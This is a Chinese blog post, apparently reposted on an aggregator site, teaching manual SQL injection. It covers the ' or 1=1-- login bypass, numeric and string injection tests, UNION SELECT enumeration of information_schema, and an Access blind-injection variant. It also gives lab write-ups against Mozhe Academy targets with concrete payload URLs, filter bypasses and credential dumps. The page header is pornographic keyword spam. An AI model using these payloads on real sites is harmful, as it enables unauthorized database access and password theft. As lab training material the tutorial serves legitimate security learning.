日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

手工注入流程

發布時間:2024/4/14 编程问答 31 豆豆
生活随笔 收集整理的這篇文章主要介紹了 手工注入流程 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

?

Sql注入:

就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。通過構造惡意的輸入,使數據庫執行惡意命令,造成數據泄露或者修改內容等,以達到攻擊的目的。主要是由于應用程序對用戶的輸入沒有進行嚴格的過濾而造成的。

一、萬能密碼

在說sql注入分類之前,先來看一下萬能密碼的構成原理。萬能密碼是由于某些程序,通過采用判斷sql語句查詢結果的值是否大于0,來判斷用戶輸入數據的正確性造成的。當查詢之大于0時,代表用戶存在,返回true,代表登錄成功,否則返回false 代表登錄失敗。由于 ‘or 1=1--' 在執行后,結果始終為1,所以可以登錄成功。因此,被稱為萬能密碼。

二、注入的分類

注入的分類:數字型和字符型。攻擊者目的只有一點,那就是繞過程序的限制,使用戶輸入的數據帶入數據庫執行,利用數據庫的特殊性獲取更多的信息或者更大的權限。

1、數字型注入

當輸入的參數為整形時,如果存在注入漏洞,可以認為是數字型注入。

測試步驟:

(1) 加單引號,URL:www.text.com/text.php?id=3’

對應的sql:select * from table where id=3’ 這時sql語句出錯,程序無法正常從數據庫中查詢出數據,就會拋出異常;

(2) 加and 1=1 ,URL:www.text.com/text.php?id=3?and 1=1

對應的sql:select * from table where id=3’ and 1=1 語句執行正常,與原始頁面如任何差異;

(3) 加and 1=2,URL:www.text.com/text.php?id=3?and 1=2

對應的sql:select * from table where id=3 and 1=2 語句可以正常執行,但是無法查詢出結果,所以返回數據與原始網頁存在差異

如果滿足以上三點,則可以判斷該URL存在數字型注入。

2、字符型注入

當輸入的參數為字符串時,稱為字符型。字符型和數字型最大的一個區別在于,數字型不需要單引號來閉合,而字符串一般需要通過單引號來閉合的。

例如數字型語句:select * from table where id =3

則字符型如下:select * from table where name=’admin’

因此,在構造payload時通過閉合單引號可以成功執行語句:

測試步驟:

(1) 加單引號:select * from table where name=’admin’’

由于加單引號后變成三個單引號,則無法執行,程序會報錯;

(2) 加 ’and 1=1 此時sql 語句為:select * from table where name=’admin’ and 1=1’ ,也無法進行注入,還需要通過注釋符號將其繞過;

Mysql 有三種常用注釋符:

-- 注意,這種注釋符后邊有一個空格

# 通過#進行注釋

/* */ 注釋掉符號內的內容

因此,構造語句為:select * from table where name =’admin’ and 1=1—’ 可成功執行返回結果正確;

(3) 加and 1=2— 此時sql語句為:select * from table where name=’admin’ and 1=2 –’則會報錯

如果滿足以上三點,可以判斷該url為字符型注入。

Sql注入分類可以按照參數類型分為數字型和字符型。還有一些常見的注入分類,例如:

(1)POST:注入字段位于POST數據中;

(2)Cookie:注入字段位于Cookie數據中;

(3)延時注入:根據數據庫延時特性的注入

(4)搜索注入:注入字段在搜索的位置;

(5)base64注入:注入字符經過base64編碼后注入;

(7)錯誤注入:基于數據庫錯誤信息的響應注入;

sql注入思路:

如果作為一名黑客,根本無法知道系統中有哪些表,表中有哪些字段,那如何將數據庫的內容竊取出來呢?

答案是MySQL數據有一個元數據庫,它會描述整個MySQL服務器有哪些數據庫,每個數據有哪些表,每個表有哪些字段,這就相當于把自家房子有什么寶貝統統告訴別人了。

那這個元數據庫就一個根,只要抓住了這根據,沿著:

元數據庫 -> 數據庫列表->表列表->字段列表->表內容

這個樹狀分層的檢索順序,就可以將整個數據庫內容全部竊取出來,下面就跟大家演示。

?

1.找注入點(?id=XXXX)

?id=1 正常?

? ? id=1' ?錯誤

? and 1=1 ?and 1=2

說明存在數字型注入

?

2、猜字段數

union select 1

union select 1,2

....

union select 1,2,3,4 ?返回正常頁面

說明 該表中有4個字段

?

3.查詢相關內容

位置插入的預設函數;

?

user() 查看用戶?

database() ?--查看數據庫名稱 ? ?

version() --查看數據庫版本 ?

@@datadir --數據庫路徑

@@version_compile_os--操作系統版本 ?

system_user() --系統用戶名?

current_user()--當前用戶名 ?

session_user()--連接數據庫的用戶名

?

id=-1 union select 1,2,database(),4

得到數據庫名為mozhe_discuz_stormgroup

?

查詢數據庫mozhe_discuz_stormgroup中的表

id=-1 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema='mozhe_discuz_stormgroup'

?

得到stormgroup_member,notice

查看stormgroup_member字段:

id=-1 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name='stormgroup_member'

id,name,password,status

?

查看notice 字段:

id=-1 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name='notice'

id,title,content,time

?

我們要的數據在stormgroup_member表里面:

id=-1 union select 1,concat(name,password),4 from stormgroup_member

?

查詢數據

id=-1 union select 1,concat(name,'-',password,'-',status),3,4 from stormgroup_member

?

密碼 md5 解密:

登錄系統 得到key

墨者學院之XWAY科技管理系統V3.0手工注入

1.打開鏈接后,我試著隨便輸入一個賬號,結果,這是個JS彈窗,按’確定‘后又回到原來界面了,所以注入點不在這

看了大神的wirte up才發現,注入點在圖中這個位置,坑爹啊,我之前以為這就是動圖之類的,沒想到點開后跳轉到另外一個界面了

?

?

?

?2.從?id=1我們可可以得知這是個動態頁面,試試id=1 正常 ,?id=1' ?錯誤,and 1=1正常? and 1=2錯誤,說明存在數字型注入

3.order by 從1開始試,到5的時候出錯,得知數據庫有4列

4.id=-1 union select 1,2,3,4(注意這里要把id改為-1,原因參見sql語句union select的語法,而且空格要用/**/代替,否則返回錯誤后臺PHP可能在union select位置將空格過濾了)后發現頁面返回了

因此得知2,3列可以返回值,于是

哈哈,得到數據庫的名稱mozhe_Discuz_StormGroup和版本5.7.22-0ubuntu0.16.04.1

5.繼續爆破數據庫中的表id=-1 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema='mozhe_discuz_stormgroup'(注意這里空格還是有過濾,而且單引號也被過濾掉了,我們將table_schema='mozhe_discuz_stormgroup'改為table_schema=database()巧妙地繞過)

?

?

haha,成功得到表名StormGroup_member和notice

6.猜列名http://219.153.49.228:42360/new_list.php?id=-1/**/union/**/select/**/1,group_concat(column_name),3,4/**/from/**/information_schema.columns/**/where/**/table_schema=database()

?

7.直接爆字段值http://219.153.49.228:42360/new_list.php?id=-1/**/union/**/select/**/1,2,group_concat(name,id,password),4/**/from/**/StormGroup_member

8.顯然,密碼是一個md5加密,賬號mozhe

這個被禁用了

9.成功打入后臺

?三、ACCESS數據庫注入(用exit語法盲注)

http://219.153.49.228:49482/new_list.asp?id=1 and 1=1

http://219.153.49.228:49482/new_list.asp?id=1 and 1=2

?

字段數

http://219.153.49.228:49482/new_list.asp?id=1 order by 4

?

//數據庫名

//access數據庫只有表名,沒有庫名的存在,所以直接猜解表名

//and 1=2 union select 1,2,3,4 這個在mysql注入直接就回顯;但是access還要加上 from table才會回顯

//http://219.153.49.228:49482/new_list.asp?id=1 and 1=2 union select 1,2,3,4

?

表名

http://219.153.49.228:49482/new_list.asp?id=1 and exists(select * from admin)

?

看看表有幾行(幾條信息),大概看下就可,沒必要。

http://219.153.49.228:49482/new_list.asp?id=1 and (select count(*) from admin)>0

?

列名

http://219.153.49.228:49482/new_list.asp?id=1 and exists(select username from admin)

http://219.153.49.228:49482/new_list.asp?id=1 and exists(select passwd from admin)

http://219.153.49.228:49482/new_list.asp?id=1 and exists(select id from admin)

?

回顯點

//access 數據庫不需要 and 1=2 屏蔽原網頁信息,也可以顯示出信息位

http://219.153.49.228:49482/new_list.asp?id=1 union select 1,2,3,4 from admin

?

爆破

http://219.153.49.228:49482/new_list.asp?id=1 union select 1,username,passwd,4 from admin

?

轉載于:https://www.cnblogs.com/WhiteHatKevil/p/10080090.html

總結

以上是生活随笔為你收集整理的手工注入流程的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。